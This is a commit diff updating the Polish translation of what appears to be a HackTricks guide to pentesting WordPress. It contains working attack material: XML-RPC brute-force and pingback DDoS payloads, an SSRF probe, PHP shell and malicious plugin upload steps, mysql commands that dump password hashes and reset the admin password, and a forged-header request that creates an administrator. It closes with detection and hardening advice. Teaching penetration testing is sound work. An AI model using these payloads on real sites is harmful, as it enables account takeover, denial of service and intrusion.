Translated ['', 'src/network-services-pentesting/pentesting-web/wordpres

This commit is contained in:
Translator 2025-09-08 04:20:51 +00:00
parent f535c541c5
commit e155acff91

View File

@ -2,35 +2,35 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Podstawowe informacje
- **Uploaded** pliki trafiają do: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Pliki motywów znajdują się w /wp-content/themes/,** więc jeśli zmienisz jakiś plik php motywu, aby uzyskać RCE, prawdopodobnie użyjesz tej ścieżki. Na przykład: używając **theme twentytwelve** możesz **uzyskać dostęp** do pliku **404.php** w: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Wgrane** pliki trafiają do: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Pliki motywów można znaleźć w /wp-content/themes/,** więc jeśli zmienisz jakiś php motywu, aby uzyskać RCE prawdopodobnie użyjesz tej ścieżki. Na przykład: używając **theme twentytwelve** możesz **access** plik **404.php** w: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- W **wp-config.php** możesz znaleźć hasło roota bazy danych.
- W pliku **wp-config.php** możesz znaleźć hasło użytkownika root bazy danych.
- Domyślne ścieżki logowania do sprawdzenia: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Main WordPress Files**
### **Główne pliki WordPress**
- `index.php`
- `license.txt` zawiera przydatne informacje, takie jak zainstalowana wersja WordPressa.
- `wp-activate.php` jest używany w procesie aktywacji przez e-mail podczas zakładania nowej witryny WordPress.
- `license.txt` zawiera użyteczne informacje, takie jak zainstalowana wersja WordPress.
- `wp-activate.php` jest używany do procesu aktywacji email podczas zakładania nowej strony WordPress.
- Foldery logowania (mogą być przemianowane, aby je ukryć):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php` to plik reprezentujący funkcję WordPress, która umożliwia przesyłanie danych przy użyciu HTTP jako mechanizmu transportu i XML jako mechanizmu kodowania. Ten sposób komunikacji został zastąpiony przez WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
- Folder `wp-content` jest głównym katalogiem, w którym przechowywane są wtyczki i motywy.
- `wp-content/uploads/` to katalog, w którym przechowywane są wszystkie pliki przesłane do platformy.
- `wp-includes/` to katalog, w którym znajdują się pliki rdzenia, takie jak certyfikaty, czcionki, pliki JavaScript i widgety.
- `wp-sitemap.xml` W wersjach WordPress 5.5 i nowszych, WordPress generuje plik mapy witryny XML zawierający wszystkie publiczne wpisy oraz publicznie zapytalne typy wpisów i taksonomie.
- `xmlrpc.php` to plik reprezentujący funkcję WordPress, która umożliwia przesyłanie danych z HTTP jako mechanizmem transportu i XML jako mechanizmem kodowania. Tego rodzaju komunikacja została zastąpiona przez WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
- Folder `wp-content` to główny katalog, w którym przechowywane są plugins i themes.
- `wp-content/uploads/` to katalog, w którym przechowywane są wszystkie pliki przesłane na platformę.
- `wp-includes/` to katalog, w którym przechowywane są pliki core, takie jak certyfikaty, fonty, pliki JavaScript i widgety.
- `wp-sitemap.xml` W wersjach WordPress 5.5 i wszych, WordPress generuje plik sitemap XML zawierający wszystkie publiczne wpisy oraz publicznie queryable typy wpisów i taksonomie.
**Post exploitation**
- Plik `wp-config.php` zawiera informacje wymagane przez WordPress do połączenia z bazą danych, takie jak nazwa bazy danych, host bazy danych, nazwa użytkownika i hasło, klucze uwierzytelniania i salta oraz prefiks tabel bazy danych. Ten plik konfiguracyjny może być również użyty do włączenia trybu DEBUG, co może być przydatne przy rozwiązywaniu problemów.
- Plik `wp-config.php` zawiera informacje wymagane przez WordPress do połączenia z bazą danych, takie jak nazwa bazy danych, host bazy, nazwa użytkownika i hasło, authentication keys and salts oraz prefiks tabel bazy danych. Ten plik konfiguracyjny można również użyć do aktywacji trybu DEBUG, co może być przydatne przy rozwiązywaniu problemów.
### Uprawnienia użytkowników
@ -42,11 +42,11 @@
## **Passive Enumeration**
### **Sprawdzenie wersji WordPressa**
### **Get WordPress version**
Sprawdź, czy możesz znaleźć pliki `/license.txt` lub `/readme.html`
W **kodzie źródłowym** strony (przykład z [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
W kodzie źródłowym strony (przykład z [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
- grep
```bash
@ -72,7 +72,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### Wyodrębnianie wersji — ogólnie
### Ogólne wyodrębnianie wersji
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
@ -81,35 +81,35 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
### Wtyczki i motywy
Prawdopodobnie nie będziesz w stanie znaleźć wszystkich możliwych wtyczek i motywów. Aby odkryć wszystkie, będziesz musiał **aktywnie Brute Force listę wtyczek i motywów** (miejmy nadzieję, że istnieją automatyczne narzędzia, które zawierają te listy).
Prawdopodobnie nie będziesz w stanie znaleźć wszystkich możliwych Wtyczek i Motywów. Aby odkryć je wszystkie, będziesz musiał **actively Brute Force a list of Plugins and Themes** (miejmy nadzieję, że istnieją automatyczne narzędzia, które zawierają te listy).
### Użytkownicy
- **ID Brute:** Otrzymujesz prawidłowych użytkowników z serwisu WordPress przez Brute Forcing ID użytkowników:
- **ID Brute:** Uzyskujesz prawidłowych użytkowników z witryny WordPress przez Brute Forcing ID użytkowników:
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
Jeśli odpowiedzi mają status **200** lub **30X**, oznacza to, że id jest **prawidłowe**. Jeśli odpowiedź to **400**, wtedy id jest **nieprawidłowe**.
Jeśli odpowiedzi to **200** lub **30X**, oznacza to, że id jest **prawidłowe**. Jeśli odpowiedź to **400**, oznacza to, że id jest **nieprawidłowe**.
- **wp-json:** Możesz także spróbować uzyskać informacje o użytkownikach, zapytując:
- **wp-json:** Możesz też spróbować uzyskać informacje o użytkownikach, wykonując zapytanie:
```bash
curl http://blog.example.com/wp-json/wp/v2/users
```
Inny endpoint `/wp-json/`, który może ujawnić pewne informacje o użytkownikach, to:
Kolejny endpoint `/wp-json/`, który może ujawnić pewne informacje o użytkownikach, to:
```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
Zwróć uwagę, że ten endpoint ujawnia tylko użytkowników, którzy opublikowali post. **Dostarczone zostaną tylko informacje o użytkownikach, którzy mają tę funkcję włączoną**.
Zauważ, że ten endpoint ujawnia tylko użytkowników, którzy opublikowali post. **Dostarczone zostaną tylko informacje o użytkownikach, którzy mają tę funkcję włączoną**.
Zauważ także, że **/wp-json/wp/v2/pages** może prowadzić do leak adresów IP.
Zwróć również uwagę, że **/wp-json/wp/v2/pages** could leak IP addresses.
- **Login username enumeration**: Podczas logowania się przez **`/wp-login.php`** komunikat (**message**) jest **inny** w zależności od tego, czy wskazany **username** istnieje, czy nie.
- **Login username enumeration**: Podczas logowania przez **`/wp-login.php`** **komunikat** jest **inny** w zależności od tego, czy **nazwa użytkownika istnieje czy nie**.
### XML-RPC
Jeśli `xml-rpc.php` jest aktywne, możesz wykonać credentials brute-force lub użyć go do uruchamiania DoS ataków na inne zasoby. (Możesz zautomatyzować ten proces[ using this](https://github.com/relarizky/wpxploit) na przykład).
Jeśli `xml-rpc.php` jest aktywny, możesz przeprowadzić credentials brute-force lub użyć go do uruchomienia DoS na inne zasoby. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
Aby sprawdzić, czy jest aktywny, spróbuj uzyskać dostęp do _**/xmlrpc.php**_ i wyślij takie żądanie:
Aby sprawdzić, czy jest aktywny, spróbuj uzyskać dostęp do _**/xmlrpc.php**_ i wyślij to żądanie:
**Sprawdź**
```html
@ -122,7 +122,7 @@ Aby sprawdzić, czy jest aktywny, spróbuj uzyskać dostęp do _**/xmlrpc.php**_
**Credentials Bruteforce**
**`wp.getUserBlogs`**, **`wp.getCategories`** lub **`metaWeblog.getUsersBlogs`** są niektórymi metodami, które można wykorzystać do brute-force credentials. Jeśli znajdziesz którąkolwiek z nich, możesz wysłać coś takiego:
**`wp.getUserBlogs`**, **`wp.getCategories`** lub **`metaWeblog.getUsersBlogs`** to niektóre z metod, które można użyć do brute-force credentials. Jeśli znajdziesz którąkolwiek z nich, możesz wysłać coś takiego:
```html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
@ -132,13 +132,13 @@ Aby sprawdzić, czy jest aktywny, spróbuj uzyskać dostęp do _**/xmlrpc.php**_
</params>
</methodCall>
```
Komunikat _"Incorrect username or password"_ w odpowiedzi z kodem 200 powinien pojawić się, jeśli poświadczenia nie są poprawne.
Komunikat _"Incorrect username or password"_ w odpowiedzi z kodem 200 powinien się pojawić, jeśli dane uwierzytelniające są nieprawidłowe.
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../images/image (721).png>)
Używając poprawnych poświadczeń możesz przesłać plik. W odpowiedzi pojawi się ścieżka ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
Używając prawidłowych danych uwierzytelniających możesz przesłać plik. W odpowiedzi pojawi się ścieżka ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
@ -174,12 +174,12 @@ Also there is a **faster way** to brute-force credentials using **`system.multic
**Omijanie 2FA**
Metoda ta jest przeznaczona dla programów, nie dla ludzi, i jest stara, dlatego nie obsługuje 2FA. Więc jeśli masz ważne creds, ale główne logowanie jest chronione 2FA, **możesz być w stanie nadużyć xmlrpc.php, aby zalogować się tymi creds omijając 2FA**. Zauważ, że nie będziesz w stanie wykonać wszystkich akcji, które możesz wykonać przez konsolę, ale nadal możesz uzyskać RCE, jak wyjaśnia Ippsec w [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
Ta metoda jest przeznaczona dla programów, nie dla ludzi, i jest stara, więc nie obsługuje 2FA. Jeśli więc masz ważne creds, ale główne wejście jest chronione 2FA, **możesz być w stanie nadużyć xmlrpc.php, aby zalogować się tymi creds, omijając 2FA**. Zwróć uwagę, że nie będziesz mógł wykonać wszystkich akcji dostępnych przez console, ale nadal możesz dojść do RCE, jak Ippsec wyjaśnia w [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
**DDoS or port scanning**
**DDoS lub skanowanie portów**
If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\
This can be used to ask **thousands** of Wordpress **sites** to **access** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** przeprowadzić skanowanie jakiejś wewnętrznej **sieci** (możesz wskazać dowolny port).
This can be used to ask **tysiące** of Wordpress **sites** to **dostęp** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** **przeskanować** some internal **network** (you can indicate any port).
```html
<methodCall>
<methodName>pingback.ping</methodName>
@ -210,14 +210,14 @@ Zobacz użycie **`system.multicall`** w poprzedniej sekcji, aby dowiedzieć się
### wp-cron.php DoS
Ten plik zwykle znajduje się w katalogu głównym strony WordPress: **`/wp-cron.php`**\
Po **uzyskaniu dostępu** do tego pliku wykonywane jest "**ciężkie**" zapytanie MySQL (**query**), więc może być użyty przez **atakujących** do **spowodowania** **DoS**.\
Ponadto, domyślnie `wp-cron.php` jest wywoływany przy każdym ładowaniu strony (za każdym razem, gdy klient żąda dowolnej strony WordPress), co na stronach o dużym ruchu może powodować problemy (DoS).
Kiedy ten plik jest **wywoływany**, wykonywane jest „heavy” MySQL **query**, więc może być użyty przez **atakujących** do **wywołania** **DoS**.\
Domyślnie `wp-cron.php` jest wywoływany przy każdym ładowaniu strony (za każdym razem, gdy klient żąda dowolnej strony WordPress), co na stronach o dużym ruchu może powodować problemy (DoS).
Zaleca się wyłączenie Wp-Cron i utworzenie rzeczywistego cronjob na hoście, który będzie wykonywał potrzebne akcje w regularnych odstępach (bez powodowania problemów).
Zalecane jest wyłączenie Wp-Cron i utworzenie prawdziwego cronjoba na hoście, który będzie wykonywał potrzebne działania w regularnych odstępach (bez powodowania problemów).
### /wp-json/oembed/1.0/proxy - SSRF
Spróbuj uzyskać dostęp do _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ a strona Worpress może wykonać żądanie do Ciebie.
Spróbuj uzyskać dostęp do _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ i strona WordPress może wykonać żądanie do Ciebie.
This is the response when it doesn't work:
@ -232,26 +232,26 @@ https://github.com/t0gu/quickpress/blob/master/core/requests.go
To narzędzie sprawdza, czy istnieje **methodName: pingback.ping** oraz ścieżka **/wp-json/oembed/1.0/proxy**, i jeśli tak, próbuje je wykorzystać.
## Automatyczne narzędzia
## Automatic Tools
```bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
## Uzyskaj dostęp przez nadpisanie jednego bitu
## Uzyskaj dostęp przez nadpisanie bitu
To bardziej ciekawostka niż prawdziwy atak. W CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) można było przełączyć 1 bit w dowolnym pliku wordpress. Można było więc zmienić bit na pozycji `5389` w pliku `/var/www/html/wp-includes/user.php`, aby zamienić operację NOT (`!`) na NOP.
To raczej ciekawostka niż prawdziwy atak. W CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) można było zmienić 1 bit w dowolnym pliku wordpress. Dzięki temu można było zmienić bit na pozycji `5389` w pliku `/var/www/html/wp-includes/user.php`, aby zamienić operację NOT (`!`) na NOP.
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **Panel RCE**
**Modyfikacja pliku php w używanym motywie (wymagane dane logowania administratora)**
**Modyfikacja php z używanego motywu (wymagane dane logowania admina)**
Appearance → Theme Editor → 404 Template (at the right)
Wygląd → Edytor motywu → Szablon 404 (po prawej)
Zmień zawartość na php shell:
Zamień zawartość na php shell:
![](<../../images/image (384).png>)
@ -267,18 +267,18 @@ aby uzyskać sesję.
## Plugin RCE
### PHP plugin
### Wtyczka PHP
Może być możliwe przesłanie plików .php jako plugin.\
Utwórz swój php backdoor na przykład używając:
Możliwe, że da się przesłać pliki .php jako wtyczkę.\
Utwórz swój PHP backdoor używając na przykład:
![](<../../images/image (183).png>)
Następnie dodaj nowy plugin:
Następnie dodaj nową wtyczkę:
![](<../../images/image (722).png>)
Wgraj plugin i naciśnij Install Now:
Prześlij wtyczkę i kliknij Install Now:
![](<../../images/image (249).png>)
@ -286,74 +286,74 @@ Kliknij na Procced:
![](<../../images/image (70).png>)
Prawdopodobnie nic się pozornie nie stanie, ale jeśli przejdziesz do Media, zobaczysz przesłany shell:
Prawdopodobnie nic się nie stanie, ale jeśli przejdziesz do Media, zobaczysz przesłany shell:
![](<../../images/image (462).png>)
Otwórz go — zobaczysz URL do wykonania reverse shell:
Otwórz go i zobaczysz URL umożliwiający uruchomienie reverse shell:
![](<../../images/image (1006).png>)
### Wgrywanie i aktywacja złośliwego pluginu
### Uploading and activating malicious plugin
Ta metoda polega na instalacji złośliwego pluginu znanego z podatności, który może zostać wykorzystany do uzyskania web shell. Proces przebiega przez WordPress dashboard w następujący sposób:
Ta metoda polega na zainstalowaniu złośliwej wtyczki znanej z podatności i może zostać wykorzystana do uzyskania web shell. Proces ten jest przeprowadzany przez WordPress dashboard w następujący sposób:
1. **Plugin Acquisition**: Plugin jest pobierany ze źródła takiego jak Exploit DB, np. [**here**](https://www.exploit-db.com/exploits/36374).
2. **Plugin Installation**:
- Przejdź do WordPress dashboard, następnie do `Dashboard > Plugins > Upload Plugin`.
- Wgraj plik zip pobranego pluginu.
3. **Plugin Activation**: Po pomyślnej instalacji plugin musi zostać aktywowany z poziomu dashboardu.
4. **Exploitation**:
- Ze zainstalowanym i aktywowanym pluginem "reflex-gallery" można go wykorzystać, ponieważ jest znany z podatności.
- Metasploit framework dostarcza exploit dla tej podatności. Ładując odpowiedni moduł i wykonując konkretne polecenia można uzyskać sesję meterpreter, co daje nieautoryzowany dostęp do serwisu.
- Należy pamiętać, że to tylko jedna z wielu metod wykorzystania WordPressa.
1. **Pozyskanie wtyczki**: Wtyczka jest pobierana ze źródła takiego jak Exploit DB jak [**here**](https://www.exploit-db.com/exploits/36374).
2. **Instalacja wtyczki**:
- Przejdź do WordPress dashboard, potem do `Dashboard > Plugins > Upload Plugin`.
- Prześlij plik zip pobranej wtyczki.
3. **Aktywacja wtyczki**: Po pomyślnej instalacji wtyczka musi zostać aktywowana przez dashboard.
4. **Eksploatacja**:
- Z zainstalowaną i aktywowaną wtyczką "reflex-gallery" można ją wykorzystać, ponieważ jest znana z podatności.
- Metasploit framework dostarcza exploit dla tej podatności. Ładując odpowiedni moduł i wykonując konkretne polecenia, można uzyskać sesję meterpreter, zapewniając nieautoryzowany dostęp do serwisu.
- Należy zaznaczyć, że to tylko jedna z wielu metod wykorzystywania witryny WordPress.
Treść zawiera ilustracje pokazujące kroki w WordPress dashboard podczas instalacji i aktywacji pluginu. Jednak ważne jest, aby pamiętać, że wykorzystywanie luk w ten sposób jest nielegalne i nieetyczne bez odpowiedniej autoryzacji. Informacje te powinny być używane odpowiedzialnie i tylko w kontekście prawnym, takim jak penetration testing z wyraźną zgodą.
Treść zawiera materiały wizualne ilustrujące kroki w WordPress dashboard podczas instalacji i aktywacji wtyczki. Należy jednak pamiętać, że wykorzystywanie podatności w ten sposób jest nielegalne i nieetyczne bez odpowiedniej autoryzacji. Informacje te powinny być używane odpowiedzialnie i tylko w legalnym kontekście, takim jak pentesting z wyraźną zgodą.
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
**Dla bardziej szczegółowych kroków sprawdź:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
## Z XSS do RCE
## Od XSS do RCE
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is a script designed to escalate a **Cross-Site Scripting (XSS)** vulnerability to **Remote Code Execution (RCE)** or other's criticals vulnerabilities in WordPress. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). It provides **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
- _**Privilege Escalation:**_ Creates an user in WordPress.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Upload your custom plugin (backdoor) to WordPress.
- _**(RCE) Built-In Plugin Edit:**_ Edit a Built-In Plugins in WordPress.
- _**(RCE) Built-In Theme Edit:**_ Edit a Built-In Themes in WordPress.
- _**(Custom) Custom Exploits:**_ Custom Exploits for Third-Party WordPress Plugins/Themes.
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ to skrypt zaprojektowany do eskalacji podatności **Cross-Site Scripting (XSS)** do **Remote Code Execution (RCE)** lub innych krytycznych podatności w WordPress. Po więcej informacji sprawdź [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Zapewnia **wsparcie dla Wordpress Versions 6.X.X, 5.X.X and 4.X.X. oraz pozwala na:**
- _**Privilege Escalation:**_ Tworzy użytkownika w WordPress.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Prześlij swój custom plugin (backdoor) do WordPress.
- _**(RCE) Built-In Plugin Edit:**_ Edytuje wbudowane pluginy w WordPress.
- _**(RCE) Built-In Theme Edit:**_ Edytuje wbudowane motywy w WordPress.
- _**(Custom) Custom Exploits:**_ Niestandardowe exploity dla third-party WordPress Plugins/Themes.
## Post Exploitation
## Po eksploatacji
Wyodrębnij nazwy użytkowników i hasła:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
Zmień hasło administratora:
Zmień hasło admina:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
## Wordpress Wtyczki Pentest
## Pentest wtyczek Wordpress
### Powierzchnia ataku
Znajomość sposobów, w jaki wtyczka Wordpress może ujawnić funkcjonalność, jest kluczowa do znalezienia luk w tej funkcjonalności. Możesz znaleźć, w jaki sposób wtyczka może ujawniać funkcjonalność, w poniższych punktach oraz kilka przykładów podatnych wtyczek w [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
Znajomość sposobów, w jakie wtyczka Wordpress może ujawniać funkcjonalność, jest kluczowa do znalezienia podatności w jej funkcjach. Poniżej znajdziesz, jak wtyczka może ujawniać funkcjonalność oraz kilka przykładów podatnych wtyczek w [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
- **`wp_ajax`**
Jednym ze sposobów, w jaki wtyczka może udostępnić funkcje użytkownikom, są handlery AJAX. Mogą one zawierać błędy w logice, autoryzacji lub uwierzytelnianiu. Co więcej, dość często te funkcje opierają zarówno uwierzytelnianie, jak i autoryzację na istnieniu wordpress nonce, który **każdy uwierzytelniony użytkownik w instancji Wordpress może posiadać** (niezależnie od roli).
Jednym ze sposobów, w jaki wtyczka może udostępniać funkcje użytkownikom, są obsługiwacze AJAX. Mogą one zawierać błędy logiczne, autoryzacji lub uwierzytelniania. Co więcej, dość często te funkcje opierają zarówno uwierzytelnianie, jak i autoryzację na istnieniu wordpress nonce, które może posiadać **każdy użytkownik zalogowany w instancji Wordpress** (niezależnie od jego roli).
Oto funkcje, które mogą być użyte do udostępnienia funkcji w wtyczce:
Te funkcje mogą być użyte do udostępnienia funkcji w wtyczce:
```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
```
**Użycie `nopriv` sprawia, że endpoint jest dostępny dla dowolnych użytkowników (nawet niezalogowanych).**
**Użycie `nopriv` sprawia, że endpoint jest dostępny dla wszystkich użytkowników (nawet niezalogowanych).**
> [!CAUTION]
> Ponadto, jeżeli funkcja tylko sprawdza autoryzację użytkownika za pomocą funkcji `wp_verify_nonce`, ta funkcja jedynie sprawdza, czy użytkownik jest zalogowany — zazwyczaj nie weryfikuje roli użytkownika. W związku z tym użytkownicy o niskich uprawnieniach mogą mieć dostęp do akcji o wysokich uprawnieniach.
> Co więcej, jeśli funkcja jedynie sprawdza autoryzację użytkownika za pomocą funkcji `wp_verify_nonce`, to funkcja ta tylko weryfikuje, że użytkownik jest zalogowany — zwykle nie sprawdza roli użytkownika. W efekcie użytkownicy o niskich uprawnieniach mogą mieć dostęp do operacji wymagających wyższych uprawnień.
- **REST API**
It's also possible to expose functions from wordpress registering a rest AP using the `register_rest_route` function:
Możliwe jest też udostępnienie funkcji z wordpress poprzez zarejestrowanie REST API za pomocą funkcji `register_rest_route`:
```php
register_rest_route(
$this->namespace, '/get/', array(
@ -365,19 +365,19 @@ $this->namespace, '/get/', array(
```
The `permission_callback` to callback do funkcji, która sprawdza, czy dany użytkownik jest uprawniony do wywołania metody API.
**Jeżeli użyta zostanie wbudowana funkcja `__return_true`, po prostu pominie ona sprawdzenie uprawnień użytkownika.**
**Jeśli użyta jest wbudowana funkcja `__return_true`, po prostu pominie sprawdzenie uprawnień użytkownika.**
- **Bezpośredni dostęp do pliku php**
Oczywiście Wordpress używa PHP, a pliki w ramach pluginów są bezpośrednio dostępne z sieci. Jeśli wtyczka ujawnia jakąś podatną funkcjonalność, która jest uruchamiana po samym dostępie do pliku, będzie ona wykorzystywalna przez dowolnego użytkownika.
Oczywiście Wordpress używa PHP, a pliki wewnątrz pluginów są bezpośrednio dostępne z sieci. Jeśli więc plugin ujawnia podatną funkcjonalność, która uruchamia się po samym dostępie do pliku, będzie ona eksploatowalna przez dowolnego użytkownika.
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Niektóre wtyczki implementują skróty „trusted header” dla integracji wewnętrznych lub reverse proxy, a następnie używają tego nagłówka do ustawienia kontekstu aktualnego użytkownika dla żądań REST. Jeśli nagłówek nie jest kryptograficznie powiązany z żądaniem przez komponent nadrzędny, atakujący może go sfałszować i wywołać uprzywilejowane trasy REST jako administrator.
Niektóre pluginy implementują “trusted header” skróty dla integracji wewnętrznych lub reverse proxy i następnie używają tego nagłówka do ustawienia kontekstu bieżącego użytkownika dla żądań REST. Jeśli nagłówek nie jest kryptograficznie powiązany z żądaniem przez komponent nadrzędny, atakujący może go sfałszować i wywołać uprzywilejowane trasy REST jako administrator.
- Skutek: eskalacja uprawnień bez uwierzytelnienia do administratora poprzez utworzenie nowego konta administratora za pomocą podstawowej trasy REST users.
- Skutek: nieautoryzowana eskalacja uprawnień do administratora przez utworzenie nowego administratora za pomocą core users REST route.
- Przykładowy nagłówek: `X-Wcpay-Platform-Checkout-User: 1` (wymusza ID użytkownika 1, zwykle pierwsze konto administratora).
- Wykorzystywana trasa: `POST /wp-json/wp/v2/users` z tablicą zawierającą rolę o podwyższonych uprawnieniach.
- Eksploatowana trasa: `POST /wp-json/wp/v2/users` z tablicą roli nadającą wyższe uprawnienia.
PoC
```http
@ -393,28 +393,28 @@ Content-Length: 114
```
Dlaczego to działa
- Wtyczka mapuje nagłówek kontrolowany przez klienta na stan uwierzytelnienia i pomija sprawdzenia uprawnień.
- Rdzeń WordPress oczekuje uprawnienia `create_users` dla tej ścieżki; wtyczka omija to poprzez bezpośrednie ustawienie kontekstu bieżącego użytkownika z nagłówka.
- Wtyczka mapuje nagłówek kontrolowany przez klienta na stan uwierzytelnienia i pomija sprawdzenia uprawnień (capability checks).
- WordPress core oczekuje uprawnienia `create_users` dla tej ścieżki; hack wtyczki omija to, ustawiając bezpośrednio kontekst bieżącego użytkownika z nagłówka.
Oczekiwane wskaźniki sukcesu
- HTTP 201 z ciałem JSON opisującym utworzonego użytkownika.
- Nowe konto administratora widoczne w `wp-admin/users.php`.
- Nowy użytkownik z uprawnieniami admin widoczny w `wp-admin/users.php`.
Lista kontrolna wykrywania
- Przeszukaj (grep) `getallheaders()`, `$_SERVER['HTTP_...']`, lub vendor SDKs które odczytują niestandardowe nagłówki, aby ustawić kontekst użytkownika (np. `wp_set_current_user()`, `wp_set_auth_cookie()`).
- Przejrzyj rejestracje REST pod kątem uprzywilejowanych callbacków, które nie mają solidnych sprawdzeń `permission_callback` i zamiast tego polegają na nagłówkach żądania.
- Szukaj użyć funkcji zarządzania użytkownikami rdzenia (`wp_insert_user`, `wp_create_user`) wewnątrz handlerów REST, które są zabezpieczone jedynie wartościami nagłówków.
- Przeszukaj (grep) pod kątem `getallheaders()`, `$_SERVER['HTTP_...']` lub SDK dostawców, które odczytują niestandardowe nagłówki, aby ustawić kontekst użytkownika (np. `wp_set_current_user()`, `wp_set_auth_cookie()`).
- Przejrzyj rejestracje REST pod kątem uprzywilejowanych callbacków, którym brakuje solidnych sprawdzeń `permission_callback` i które zamiast tego polegają na nagłówkach żądań.
- Szukaj użyć podstawowych funkcji zarządzania użytkownikami (`wp_insert_user`, `wp_create_user`) wewnątrz handlerów REST, które są zabezpieczone jedynie przez wartości nagłówków.
Wzmocnienie
- Nigdy nie wyprowadzaj uwierzytelnienia ani autoryzacji z nagłówków kontrolowanych przez klienta.
- Jeśli reverse proxy musi wstrzykć tożsamość, zakończ zaufanie przy proxy i usuń przychodzące kopie (np. `unset X-Wcpay-Platform-Checkout-User` na krawędzi), następnie przekaż podpisany token i zweryfikuj go po stronie serwera.
- Dla REST routes wykonujących uprzywilejowane akcje wymagaj sprawdzeń `current_user_can()` i rygorystycznego `permission_callback` (NIE używaj `__return_true`).
- Preferuj autentykację pierwszej strony (cookies, application passwords, OAuth) zamiast nagłówkowego „podszywania się”.
- Jeśli reverse proxy musi wstrzykiwać tożsamość, zakończ zaufanie przy proxy i usuń przychodzące kopie (np. `unset X-Wcpay-Platform-Checkout-User` na krawędzi), następnie przekaż podpisany token i zweryfikuj go po stronie serwera.
- Dla tras REST wykonujących uprzywilejowane akcje wymagaj sprawdzeń `current_user_can()` i rygorystycznego `permission_callback` (NIE używaj `__return_true`).
